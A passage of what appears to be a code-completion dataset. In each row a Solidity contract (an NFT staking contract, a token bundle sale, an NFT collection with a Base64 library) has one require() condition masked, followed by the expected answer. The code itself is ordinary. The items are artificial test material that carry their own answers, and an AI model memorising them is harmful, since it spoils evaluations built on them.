prizesPaid[referralAddress] += splitNetValues[0];
}
emit BuyBundle(
msg.sender,
referralAddress,
trx,
safeOwnerAddress,
contractAddress,
decimillsApplied,
bundleVals[0],
bundleVals[1],
splitNetValues
);
//_usdt.safeTransferFrom(msg.sender, splitPayConf.getMainUsdRecipient(), bundleVals[0]);
}
// 777 BEGIN --------------------------------------------------------------------------------------------------
event UranoToSendCalled(
address operator,
address from,
address to,
uint256 amount,
bytes data,
bytes operatorData,
address token,
uint256 fromBalance,
uint256 toBalance
);
event UranoReceivedCalled(
address operator,
address from,
address to,
uint256 amount,
bytes data,
bytes operatorData,
address token,
uint256 fromBalance,
uint256 toBalance
);
event BeforeTokenTransfer();
bool private _shouldRevertSend;
bool private _shouldRevertReceive;
function tokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external override {
}
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external override {
}
function senderFor(address account) public {
}
function registerSender(address sender) public {
}
function recipientFor(address account) public {
}
function registerRecipient(address recipient) public {
}
function setShouldRevertSend(bool shouldRevert) public onlyOwner {
}
function setShouldRevertReceive(bool shouldRevert) public onlyOwner {
}
function send(
IERC777 token,
address to,
uint256 amount,
bytes memory data
) public {
}
function burn(
IERC777 token,
uint256 amount,
bytes memory data
) public {
}
// 777 END --------------------------------------------------------------------------------------------------
}
| preUrano.balanceOf(contractAddress)>=bundleVals[1],"The amount of tokens on the contract is insufficient to proceed with the bundle sale." | 62,067 | preUrano.balanceOf(contractAddress)>=bundleVals[1] |
"Can't stake tokens you don't own!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./interfaces/IERC721SU.sol";
import "./utils/SafeArray.sol";
contract SusuStaking is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
using SafeArray for uint256[];
// Interfaces for ERC20 and ERC721SU
IERC20 public rewardsToken;
IERC721SU public nftCollection;
// Staker info
struct Staker {
uint256 amountStaked;
uint256[] stakedTokens;
uint256 timeOfLastUpdate;
uint256 unclaimedRewards;
}
// Stake reward time, default end time 2025.01.01
uint256 public stakeEndTime = 1735689600;
uint256 public stakeStartTime = 0;
bool public stakeActive = true;
bool public claimRewardsActive = true;
// Staking Time
uint256 public constant LOCK_TIME_ZERO = 0;
uint256 public constant LOCK_TIME_ONE = 30 days;
uint256 public constant LOCK_TIME_TWO = 180 days;
uint256 public constant LOCK_TIME_THREE = 360 days;
// Lock type
enum LockType {
LOCK_ZERO,
LOCK_ONE,
LOCK_TWO,
LOCK_THREE
}
// Rewards Base Bips
uint256 public constant PERCENT_BASE_BIPS = 100;
uint256 public GOLD_EXTRA_BIPS = 6;
uint256 public BIPS_ZERO = 30;
uint256 public BIPS_ONE = 100;
uint256 public BIPS_TWO = 200;
uint256 public BIPS_THREE = 300;
// Lock info
struct LockInfo {
uint256 unlockTime;
uint256 lockTime;
LockType lockType;
}
// Rewards per hour per token deposited in wei.
// Rewards are cumulated once every hour.
uint256 private rewardsPerHour = 416 * 1e14;
// Mapping of User Address to Staker info
mapping(address => Staker) public stakers;
// Mapping of Token Id to staker. Made for the SC to remeber
// who to send back the ERC721 Token to.
mapping(uint256 => address) public stakerAddress;
// Mapping of Token Id to lock info.
mapping(uint256 => LockInfo) public stakerLockInfo;
address[] public stakersArray;
/// @notice event emitted when a user claim rewards
event ClaimReward(address owner, uint256 amount);
/// @notice event emitted when a user stake ERC721 tokens
event StakeTokens(address owner, uint256[] tokenId, LockType _lockType);
/// @notice event emitted when a user withdraw ERC721 tokens
event WithdrawTokens(address owner, uint256[] tokenId);
constructor() {
}
function stake(uint256[] calldata _tokenIds, LockType _lockType)
external
nonReentrant
{
require(stakeActive, "Stake is not active");
if (stakers[msg.sender].amountStaked > 0) {
uint256 rewards = calculateRewards(msg.sender);
stakers[msg.sender].unclaimedRewards += rewards;
} else {
stakersArray.push(msg.sender);
}
uint256 len = _tokenIds.length;
for (uint256 i; i < len; ++i) {
require(<FILL_ME>)
nftCollection.transferFrom(msg.sender, address(this), _tokenIds[i]);
stakers[msg.sender].stakedTokens.push(_tokenIds[i]);
stakerLockInfo[_tokenIds[i]].lockType = _lockType;
stakerLockInfo[_tokenIds[i]].lockTime = getStakeLockTime(_lockType);
stakerLockInfo[_tokenIds[i]].unlockTime =
block.timestamp +
getStakeLockTime(_lockType);
stakerAddress[_tokenIds[i]] = msg.sender;
}
stakers[msg.sender].amountStaked += len;
stakers[msg.sender].timeOfLastUpdate = block.timestamp;
emit StakeTokens(msg.sender, _tokenIds, _lockType);
}
function withdraw(uint256[] calldata _tokenIds)
external
nonReentrant
beforeWithdrawCheck(_tokenIds)
{
}
function claimRewards() external nonReentrant {
}
//////////
// Admin//
//////////
function setRewardsPerHour(uint256 _newValue) external onlyOwner {
}
function setGoldExtraBips(uint256 _bips) external onlyOwner {
}
function setStakeTime(uint256 _startTime, uint256 _endTime)
external
onlyOwner
{
}
function setAllStakeBips(
uint256 _zero,
uint256 _one,
uint256 _two,
uint256 _three
) external onlyOwner {
}
function setRewardsToken(IERC20 _rewardsToken) external onlyOwner {
}
function setNftCollection(IERC721SU _nftCollection) external onlyOwner {
}
function toggleStakeActive() external onlyOwner {
}
function withdrawToken(uint256 _amount) external onlyOwner {
}
function withdrawETH() external onlyOwner {
}
// Urgent withdraw will not calculate users rewards
function urgentWithdrawByUsers(address[] calldata _users)
external
onlyOwner
{
}
//////////
// View //
//////////
function userStakeInfo(address _user)
public
view
returns (
uint256 _amountStaked,
uint256 _availableRewards,
uint256[] memory _stakedTokens
)
{
}
function availableRewards(address _user) internal view returns (uint256) {
}
/////////////
// Internal//
/////////////
function isGoldPass(uint256 _tokenId) internal view returns (bool) {
}
function getStakeLockTime(LockType _lock) internal pure returns (uint256) {
}
// Reward bips per second
function getRewardBips(uint256 _tokenId) internal view returns (uint256) {
}
// Because the rewards are calculated passively, the owner has to first update the rewards
// to all the stakers, witch could result in very heavy load and expensive transactions or
// even reverting due to reaching the gas limit per block. Redesign incoming to bound loop.
function calculateAllStakerReward() public onlyOwner {
}
function getCalculateTime(uint256 _timeOfLastUpdate)
internal
view
returns (uint256)
{
}
function calculateRewards(address _staker)
internal
view
returns (uint256 _rewards)
{
}
/////////////
// Modifier//
/////////////
modifier beforeWithdrawCheck(uint256[] calldata _tokenIds) {
}
}
| nftCollection.ownerOf(_tokenIds[i])==msg.sender,"Can't stake tokens you don't own!" | 62,076 | nftCollection.ownerOf(_tokenIds[i])==msg.sender |
"You have no tokens staked" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./interfaces/IERC721SU.sol";
import "./utils/SafeArray.sol";
contract SusuStaking is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
using SafeArray for uint256[];
// Interfaces for ERC20 and ERC721SU
IERC20 public rewardsToken;
IERC721SU public nftCollection;
// Staker info
struct Staker {
uint256 amountStaked;
uint256[] stakedTokens;
uint256 timeOfLastUpdate;
uint256 unclaimedRewards;
}
// Stake reward time, default end time 2025.01.01
uint256 public stakeEndTime = 1735689600;
uint256 public stakeStartTime = 0;
bool public stakeActive = true;
bool public claimRewardsActive = true;
// Staking Time
uint256 public constant LOCK_TIME_ZERO = 0;
uint256 public constant LOCK_TIME_ONE = 30 days;
uint256 public constant LOCK_TIME_TWO = 180 days;
uint256 public constant LOCK_TIME_THREE = 360 days;
// Lock type
enum LockType {
LOCK_ZERO,
LOCK_ONE,
LOCK_TWO,
LOCK_THREE
}
// Rewards Base Bips
uint256 public constant PERCENT_BASE_BIPS = 100;
uint256 public GOLD_EXTRA_BIPS = 6;
uint256 public BIPS_ZERO = 30;
uint256 public BIPS_ONE = 100;
uint256 public BIPS_TWO = 200;
uint256 public BIPS_THREE = 300;
// Lock info
struct LockInfo {
uint256 unlockTime;
uint256 lockTime;
LockType lockType;
}
// Rewards per hour per token deposited in wei.
// Rewards are cumulated once every hour.
uint256 private rewardsPerHour = 416 * 1e14;
// Mapping of User Address to Staker info
mapping(address => Staker) public stakers;
// Mapping of Token Id to staker. Made for the SC to remeber
// who to send back the ERC721 Token to.
mapping(uint256 => address) public stakerAddress;
// Mapping of Token Id to lock info.
mapping(uint256 => LockInfo) public stakerLockInfo;
address[] public stakersArray;
/// @notice event emitted when a user claim rewards
event ClaimReward(address owner, uint256 amount);
/// @notice event emitted when a user stake ERC721 tokens
event StakeTokens(address owner, uint256[] tokenId, LockType _lockType);
/// @notice event emitted when a user withdraw ERC721 tokens
event WithdrawTokens(address owner, uint256[] tokenId);
constructor() {
}
function stake(uint256[] calldata _tokenIds, LockType _lockType)
external
nonReentrant
{
}
function withdraw(uint256[] calldata _tokenIds)
external
nonReentrant
beforeWithdrawCheck(_tokenIds)
{
require(<FILL_ME>)
uint256 rewards = calculateRewards(msg.sender);
stakers[msg.sender].unclaimedRewards += rewards;
uint256 len = _tokenIds.length;
for (uint256 i; i < len; ++i) {
require(stakerAddress[_tokenIds[i]] == msg.sender);
stakerAddress[_tokenIds[i]] = address(0);
nftCollection.transferFrom(address(this), msg.sender, _tokenIds[i]);
stakers[msg.sender].stakedTokens.removeElement(_tokenIds[i]);
stakerLockInfo[_tokenIds[i]].lockType = LockType.LOCK_ZERO;
stakerLockInfo[_tokenIds[i]].lockTime = 0;
stakerLockInfo[_tokenIds[i]].unlockTime = 0;
}
stakers[msg.sender].amountStaked -= len;
stakers[msg.sender].timeOfLastUpdate = block.timestamp;
if (stakers[msg.sender].amountStaked == 0) {
for (uint256 i; i < stakersArray.length; ++i) {
if (stakersArray[i] == msg.sender) {
stakersArray[i] = stakersArray[stakersArray.length - 1];
stakersArray.pop();
}
}
}
emit WithdrawTokens(msg.sender, _tokenIds);
}
function claimRewards() external nonReentrant {
}
//////////
// Admin//
//////////
function setRewardsPerHour(uint256 _newValue) external onlyOwner {
}
function setGoldExtraBips(uint256 _bips) external onlyOwner {
}
function setStakeTime(uint256 _startTime, uint256 _endTime)
external
onlyOwner
{
}
function setAllStakeBips(
uint256 _zero,
uint256 _one,
uint256 _two,
uint256 _three
) external onlyOwner {
}
function setRewardsToken(IERC20 _rewardsToken) external onlyOwner {
}
function setNftCollection(IERC721SU _nftCollection) external onlyOwner {
}
function toggleStakeActive() external onlyOwner {
}
function withdrawToken(uint256 _amount) external onlyOwner {
}
function withdrawETH() external onlyOwner {
}
// Urgent withdraw will not calculate users rewards
function urgentWithdrawByUsers(address[] calldata _users)
external
onlyOwner
{
}
//////////
// View //
//////////
function userStakeInfo(address _user)
public
view
returns (
uint256 _amountStaked,
uint256 _availableRewards,
uint256[] memory _stakedTokens
)
{
}
function availableRewards(address _user) internal view returns (uint256) {
}
/////////////
// Internal//
/////////////
function isGoldPass(uint256 _tokenId) internal view returns (bool) {
}
function getStakeLockTime(LockType _lock) internal pure returns (uint256) {
}
// Reward bips per second
function getRewardBips(uint256 _tokenId) internal view returns (uint256) {
}
// Because the rewards are calculated passively, the owner has to first update the rewards
// to all the stakers, witch could result in very heavy load and expensive transactions or
// even reverting due to reaching the gas limit per block. Redesign incoming to bound loop.
function calculateAllStakerReward() public onlyOwner {
}
function getCalculateTime(uint256 _timeOfLastUpdate)
internal
view
returns (uint256)
{
}
function calculateRewards(address _staker)
internal
view
returns (uint256 _rewards)
{
}
/////////////
// Modifier//
/////////////
modifier beforeWithdrawCheck(uint256[] calldata _tokenIds) {
}
}
| stakers[msg.sender].amountStaked>0,"You have no tokens staked" | 62,076 | stakers[msg.sender].amountStaked>0 |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./interfaces/IERC721SU.sol";
import "./utils/SafeArray.sol";
contract SusuStaking is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
using SafeArray for uint256[];
// Interfaces for ERC20 and ERC721SU
IERC20 public rewardsToken;
IERC721SU public nftCollection;
// Staker info
struct Staker {
uint256 amountStaked;
uint256[] stakedTokens;
uint256 timeOfLastUpdate;
uint256 unclaimedRewards;
}
// Stake reward time, default end time 2025.01.01
uint256 public stakeEndTime = 1735689600;
uint256 public stakeStartTime = 0;
bool public stakeActive = true;
bool public claimRewardsActive = true;
// Staking Time
uint256 public constant LOCK_TIME_ZERO = 0;
uint256 public constant LOCK_TIME_ONE = 30 days;
uint256 public constant LOCK_TIME_TWO = 180 days;
uint256 public constant LOCK_TIME_THREE = 360 days;
// Lock type
enum LockType {
LOCK_ZERO,
LOCK_ONE,
LOCK_TWO,
LOCK_THREE
}
// Rewards Base Bips
uint256 public constant PERCENT_BASE_BIPS = 100;
uint256 public GOLD_EXTRA_BIPS = 6;
uint256 public BIPS_ZERO = 30;
uint256 public BIPS_ONE = 100;
uint256 public BIPS_TWO = 200;
uint256 public BIPS_THREE = 300;
// Lock info
struct LockInfo {
uint256 unlockTime;
uint256 lockTime;
LockType lockType;
}
// Rewards per hour per token deposited in wei.
// Rewards are cumulated once every hour.
uint256 private rewardsPerHour = 416 * 1e14;
// Mapping of User Address to Staker info
mapping(address => Staker) public stakers;
// Mapping of Token Id to staker. Made for the SC to remeber
// who to send back the ERC721 Token to.
mapping(uint256 => address) public stakerAddress;
// Mapping of Token Id to lock info.
mapping(uint256 => LockInfo) public stakerLockInfo;
address[] public stakersArray;
/// @notice event emitted when a user claim rewards
event ClaimReward(address owner, uint256 amount);
/// @notice event emitted when a user stake ERC721 tokens
event StakeTokens(address owner, uint256[] tokenId, LockType _lockType);
/// @notice event emitted when a user withdraw ERC721 tokens
event WithdrawTokens(address owner, uint256[] tokenId);
constructor() {
}
function stake(uint256[] calldata _tokenIds, LockType _lockType)
external
nonReentrant
{
}
function withdraw(uint256[] calldata _tokenIds)
external
nonReentrant
beforeWithdrawCheck(_tokenIds)
{
require(
stakers[msg.sender].amountStaked > 0,
"You have no tokens staked"
);
uint256 rewards = calculateRewards(msg.sender);
stakers[msg.sender].unclaimedRewards += rewards;
uint256 len = _tokenIds.length;
for (uint256 i; i < len; ++i) {
require(<FILL_ME>)
stakerAddress[_tokenIds[i]] = address(0);
nftCollection.transferFrom(address(this), msg.sender, _tokenIds[i]);
stakers[msg.sender].stakedTokens.removeElement(_tokenIds[i]);
stakerLockInfo[_tokenIds[i]].lockType = LockType.LOCK_ZERO;
stakerLockInfo[_tokenIds[i]].lockTime = 0;
stakerLockInfo[_tokenIds[i]].unlockTime = 0;
}
stakers[msg.sender].amountStaked -= len;
stakers[msg.sender].timeOfLastUpdate = block.timestamp;
if (stakers[msg.sender].amountStaked == 0) {
for (uint256 i; i < stakersArray.length; ++i) {
if (stakersArray[i] == msg.sender) {
stakersArray[i] = stakersArray[stakersArray.length - 1];
stakersArray.pop();
}
}
}
emit WithdrawTokens(msg.sender, _tokenIds);
}
function claimRewards() external nonReentrant {
}
//////////
// Admin//
//////////
function setRewardsPerHour(uint256 _newValue) external onlyOwner {
}
function setGoldExtraBips(uint256 _bips) external onlyOwner {
}
function setStakeTime(uint256 _startTime, uint256 _endTime)
external
onlyOwner
{
}
function setAllStakeBips(
uint256 _zero,
uint256 _one,
uint256 _two,
uint256 _three
) external onlyOwner {
}
function setRewardsToken(IERC20 _rewardsToken) external onlyOwner {
}
function setNftCollection(IERC721SU _nftCollection) external onlyOwner {
}
function toggleStakeActive() external onlyOwner {
}
function withdrawToken(uint256 _amount) external onlyOwner {
}
function withdrawETH() external onlyOwner {
}
// Urgent withdraw will not calculate users rewards
function urgentWithdrawByUsers(address[] calldata _users)
external
onlyOwner
{
}
//////////
// View //
//////////
function userStakeInfo(address _user)
public
view
returns (
uint256 _amountStaked,
uint256 _availableRewards,
uint256[] memory _stakedTokens
)
{
}
function availableRewards(address _user) internal view returns (uint256) {
}
/////////////
// Internal//
/////////////
function isGoldPass(uint256 _tokenId) internal view returns (bool) {
}
function getStakeLockTime(LockType _lock) internal pure returns (uint256) {
}
// Reward bips per second
function getRewardBips(uint256 _tokenId) internal view returns (uint256) {
}
// Because the rewards are calculated passively, the owner has to first update the rewards
// to all the stakers, witch could result in very heavy load and expensive transactions or
// even reverting due to reaching the gas limit per block. Redesign incoming to bound loop.
function calculateAllStakerReward() public onlyOwner {
}
function getCalculateTime(uint256 _timeOfLastUpdate)
internal
view
returns (uint256)
{
}
function calculateRewards(address _staker)
internal
view
returns (uint256 _rewards)
{
}
/////////////
// Modifier//
/////////////
modifier beforeWithdrawCheck(uint256[] calldata _tokenIds) {
}
}
| stakerAddress[_tokenIds[i]]==msg.sender | 62,076 | stakerAddress[_tokenIds[i]]==msg.sender |
"Has user have no tokens staked" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./interfaces/IERC721SU.sol";
import "./utils/SafeArray.sol";
contract SusuStaking is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
using SafeArray for uint256[];
// Interfaces for ERC20 and ERC721SU
IERC20 public rewardsToken;
IERC721SU public nftCollection;
// Staker info
struct Staker {
uint256 amountStaked;
uint256[] stakedTokens;
uint256 timeOfLastUpdate;
uint256 unclaimedRewards;
}
// Stake reward time, default end time 2025.01.01
uint256 public stakeEndTime = 1735689600;
uint256 public stakeStartTime = 0;
bool public stakeActive = true;
bool public claimRewardsActive = true;
// Staking Time
uint256 public constant LOCK_TIME_ZERO = 0;
uint256 public constant LOCK_TIME_ONE = 30 days;
uint256 public constant LOCK_TIME_TWO = 180 days;
uint256 public constant LOCK_TIME_THREE = 360 days;
// Lock type
enum LockType {
LOCK_ZERO,
LOCK_ONE,
LOCK_TWO,
LOCK_THREE
}
// Rewards Base Bips
uint256 public constant PERCENT_BASE_BIPS = 100;
uint256 public GOLD_EXTRA_BIPS = 6;
uint256 public BIPS_ZERO = 30;
uint256 public BIPS_ONE = 100;
uint256 public BIPS_TWO = 200;
uint256 public BIPS_THREE = 300;
// Lock info
struct LockInfo {
uint256 unlockTime;
uint256 lockTime;
LockType lockType;
}
// Rewards per hour per token deposited in wei.
// Rewards are cumulated once every hour.
uint256 private rewardsPerHour = 416 * 1e14;
// Mapping of User Address to Staker info
mapping(address => Staker) public stakers;
// Mapping of Token Id to staker. Made for the SC to remeber
// who to send back the ERC721 Token to.
mapping(uint256 => address) public stakerAddress;
// Mapping of Token Id to lock info.
mapping(uint256 => LockInfo) public stakerLockInfo;
address[] public stakersArray;
/// @notice event emitted when a user claim rewards
event ClaimReward(address owner, uint256 amount);
/// @notice event emitted when a user stake ERC721 tokens
event StakeTokens(address owner, uint256[] tokenId, LockType _lockType);
/// @notice event emitted when a user withdraw ERC721 tokens
event WithdrawTokens(address owner, uint256[] tokenId);
constructor() {
}
function stake(uint256[] calldata _tokenIds, LockType _lockType)
external
nonReentrant
{
}
function withdraw(uint256[] calldata _tokenIds)
external
nonReentrant
beforeWithdrawCheck(_tokenIds)
{
}
function claimRewards() external nonReentrant {
}
//////////
// Admin//
//////////
function setRewardsPerHour(uint256 _newValue) external onlyOwner {
}
function setGoldExtraBips(uint256 _bips) external onlyOwner {
}
function setStakeTime(uint256 _startTime, uint256 _endTime)
external
onlyOwner
{
}
function setAllStakeBips(
uint256 _zero,
uint256 _one,
uint256 _two,
uint256 _three
) external onlyOwner {
}
function setRewardsToken(IERC20 _rewardsToken) external onlyOwner {
}
function setNftCollection(IERC721SU _nftCollection) external onlyOwner {
}
function toggleStakeActive() external onlyOwner {
}
function withdrawToken(uint256 _amount) external onlyOwner {
}
function withdrawETH() external onlyOwner {
}
// Urgent withdraw will not calculate users rewards
function urgentWithdrawByUsers(address[] calldata _users)
external
onlyOwner
{
uint256 userLen = _users.length;
for (uint256 i; i < userLen; ++i) {
address userAddress = _users[i];
require(<FILL_ME>)
uint256 tokensLen = stakers[userAddress].amountStaked;
for (uint256 j; j < tokensLen; ++j) {
uint256 tokenId = stakers[userAddress].stakedTokens[j];
stakerAddress[tokenId] = address(0);
nftCollection.transferFrom(address(this), userAddress, tokenId);
stakerLockInfo[tokenId].lockType = LockType.LOCK_ZERO;
stakerLockInfo[tokenId].lockTime = 0;
stakerLockInfo[tokenId].unlockTime = 0;
}
stakers[userAddress].amountStaked -= tokensLen;
if (stakers[userAddress].amountStaked == 0) {
for (uint256 j; j < stakersArray.length; ++j) {
if (stakersArray[j] == userAddress) {
stakersArray[j] = stakersArray[stakersArray.length - 1];
stakersArray.pop();
}
}
}
emit WithdrawTokens(userAddress, stakers[userAddress].stakedTokens);
delete stakers[userAddress].stakedTokens;
}
}
//////////
// View //
//////////
function userStakeInfo(address _user)
public
view
returns (
uint256 _amountStaked,
uint256 _availableRewards,
uint256[] memory _stakedTokens
)
{
}
function availableRewards(address _user) internal view returns (uint256) {
}
/////////////
// Internal//
/////////////
function isGoldPass(uint256 _tokenId) internal view returns (bool) {
}
function getStakeLockTime(LockType _lock) internal pure returns (uint256) {
}
// Reward bips per second
function getRewardBips(uint256 _tokenId) internal view returns (uint256) {
}
// Because the rewards are calculated passively, the owner has to first update the rewards
// to all the stakers, witch could result in very heavy load and expensive transactions or
// even reverting due to reaching the gas limit per block. Redesign incoming to bound loop.
function calculateAllStakerReward() public onlyOwner {
}
function getCalculateTime(uint256 _timeOfLastUpdate)
internal
view
returns (uint256)
{
}
function calculateRewards(address _staker)
internal
view
returns (uint256 _rewards)
{
}
/////////////
// Modifier//
/////////////
modifier beforeWithdrawCheck(uint256[] calldata _tokenIds) {
}
}
| stakers[userAddress].amountStaked>0,"Has user have no tokens staked" | 62,076 | stakers[userAddress].amountStaked>0 |
"invalid base64 decoder input" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.12;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
// @title Base64
/// @author Brecht Devos - <[email protected]>
/// @notice Provides functions for encoding/decoding base64
library Base64 {
string internal constant TABLE_ENCODE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
bytes internal constant TABLE_DECODE = hex"0000000000000000000000000000000000000000000000000000000000000000"
hex"00000000000000000000003e0000003f3435363738393a3b3c3d000000000000"
hex"00000102030405060708090a0b0c0d0e0f101112131415161718190000000000"
hex"001a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132330000000000";
function encode(bytes memory data) internal pure returns (string memory) {
}
function decode(string memory _data) internal pure returns (bytes memory) {
bytes memory data = bytes(_data);
if (data.length == 0) return new bytes(0);
require(<FILL_ME>)
// load the table into memory
bytes memory table = TABLE_DECODE;
// every 4 characters represent 3 bytes
uint256 decodedLen = (data.length / 4) * 3;
// add some extra buffer at the end required for the writing
bytes memory result = new bytes(decodedLen + 32);
assembly {
// padding with '='
let lastBytes := mload(add(data, mload(data)))
if eq(and(lastBytes, 0xFF), 0x3d) {
decodedLen := sub(decodedLen, 1)
if eq(and(lastBytes, 0xFFFF), 0x3d3d) {
decodedLen := sub(decodedLen, 1)
}
}
// set the actual output length
mstore(result, decodedLen)
// prepare the lookup table
let tablePtr := add(table, 1)
// input ptr
let dataPtr := data
let endPtr := add(dataPtr, mload(data))
// result ptr, jump over length
let resultPtr := add(result, 32)
// run over the input, 4 characters at a time
for {} lt(dataPtr, endPtr) {}
{
// read 4 characters
dataPtr := add(dataPtr, 4)
let input := mload(dataPtr)
// write 3 bytes
let output := add(
add(
shl(18, and(mload(add(tablePtr, and(shr(24, input), 0xFF))), 0xFF)),
shl(12, and(mload(add(tablePtr, and(shr(16, input), 0xFF))), 0xFF))),
add(
shl( 6, and(mload(add(tablePtr, and(shr( 8, input), 0xFF))), 0xFF)),
and(mload(add(tablePtr, and( input , 0xFF))), 0xFF)
)
)
mstore(resultPtr, shl(232, output))
resultPtr := add(resultPtr, 3)
}
}
return result;
}
}
/* ///// */
contract Harmonies is ERC721Enumerable, Ownable, ReentrancyGuard {
using SafeMath for uint256;
uint256 public cost = 0.15 ether;
uint256 public HarmoniesOnSell = 5;
uint256 public MAX = 251;
uint256 public token_id = 1;
bool public freeze = false;
uint256[] img = [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22];
string dataURL = "https://arweave.net/5zgxA9cz19qu0wdyKL8CVKHvvZE1A2tFNjGFWv3PLtU/";
string baseHTML = '<html><meta name="viewport" content="width=device-width, initial-scale=1"><head><link href="';
string loadStyles = "https://arweave.net/5zgxA9cz19qu0wdyKL8CVKHvvZE1A2tFNjGFWv3PLtU/stt.css";
string preloader = string.concat('" rel="stylesheet"></head><body><img src="', dataURL, 'preloader.jpg">');
string renderScript = '<div class="cen"><canvas id="canvas" width="1800px" height="2500px"></canvas></div><script>const ctx=document.getElementById("canvas").getContext("2d");let im=new Image;function p(){ctx.drawImage(im,canvas.width/2.2,canvas.height/2.2)}im.src=document.images[0].src,im.onload=()=>{p()},p();let d=[],n=0,dr=[];function draw(){ctx.clearRect(0, 0, canvas.width, canvas.height); n++,n>d.length-1&&dr.forEach((e=>{ctx.drawImage(e,0,0)}))}for(let e=0;e<document.images.length;e++)e>0&&d.push(document.images[e].src);d.forEach((e=>{let n=new Image;n.src=e,n.onload=()=>{draw()},dr.push(n)}));</script>';
string imgSart ='<img src="';
constructor() ERC721 ("Eternal Harmony", "Harmonies") {
}
function Sale(uint numberOfTokens) public payable nonReentrant{
}
function teamMint( address user, uint numberOfTokens) public payable nonReentrant onlyOwner{
}
function setCost(uint256 _newCost) public onlyOwner {
}
function setSource(string memory _url) public onlyOwner {
}
function setStyles(string memory _url) public onlyOwner {
}
function setFreeze() public onlyOwner {
}
function StopSale() public onlyOwner {
}
function random(string memory input) internal pure returns (uint256) {
}
function getRandom(uint256 _time) internal view returns (uint256) {
}
address t1 = 0x91C744fa5D176e8c8c2243a952b75De90A5186bc;
address t2 = 0xE0D80FC054BC859b74546477344b152941902CB6;
address t3 = 0xae87B3506C1F48259705BA64DcB662Ed047575Bb;
function withdraw() public payable nonReentrant onlyOwner {
}
function tokenURI(uint256 _tokenId) override public view returns(string memory ) {
}
}
| data.length%4==0,"invalid base64 decoder input" | 62,177 | data.length%4==0 |
"Purchase would exceed max supply of Harmonies" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.12;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
// @title Base64
/// @author Brecht Devos - <[email protected]>
/// @notice Provides functions for encoding/decoding base64
library Base64 {
string internal constant TABLE_ENCODE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
bytes internal constant TABLE_DECODE = hex"0000000000000000000000000000000000000000000000000000000000000000"
hex"00000000000000000000003e0000003f3435363738393a3b3c3d000000000000"
hex"00000102030405060708090a0b0c0d0e0f101112131415161718190000000000"
hex"001a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132330000000000";
function encode(bytes memory data) internal pure returns (string memory) {
}
function decode(string memory _data) internal pure returns (bytes memory) {
}
}
/* ///// */
contract Harmonies is ERC721Enumerable, Ownable, ReentrancyGuard {
using SafeMath for uint256;
uint256 public cost = 0.15 ether;
uint256 public HarmoniesOnSell = 5;
uint256 public MAX = 251;
uint256 public token_id = 1;
bool public freeze = false;
uint256[] img = [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22];
string dataURL = "https://arweave.net/5zgxA9cz19qu0wdyKL8CVKHvvZE1A2tFNjGFWv3PLtU/";
string baseHTML = '<html><meta name="viewport" content="width=device-width, initial-scale=1"><head><link href="';
string loadStyles = "https://arweave.net/5zgxA9cz19qu0wdyKL8CVKHvvZE1A2tFNjGFWv3PLtU/stt.css";
string preloader = string.concat('" rel="stylesheet"></head><body><img src="', dataURL, 'preloader.jpg">');
string renderScript = '<div class="cen"><canvas id="canvas" width="1800px" height="2500px"></canvas></div><script>const ctx=document.getElementById("canvas").getContext("2d");let im=new Image;function p(){ctx.drawImage(im,canvas.width/2.2,canvas.height/2.2)}im.src=document.images[0].src,im.onload=()=>{p()},p();let d=[],n=0,dr=[];function draw(){ctx.clearRect(0, 0, canvas.width, canvas.height); n++,n>d.length-1&&dr.forEach((e=>{ctx.drawImage(e,0,0)}))}for(let e=0;e<document.images.length;e++)e>0&&d.push(document.images[e].src);d.forEach((e=>{let n=new Image;n.src=e,n.onload=()=>{draw()},dr.push(n)}));</script>';
string imgSart ='<img src="';
constructor() ERC721 ("Eternal Harmony", "Harmonies") {
}
function Sale(uint numberOfTokens) public payable nonReentrant{
require(numberOfTokens <= HarmoniesOnSell, "Purchase would exceed max supply");
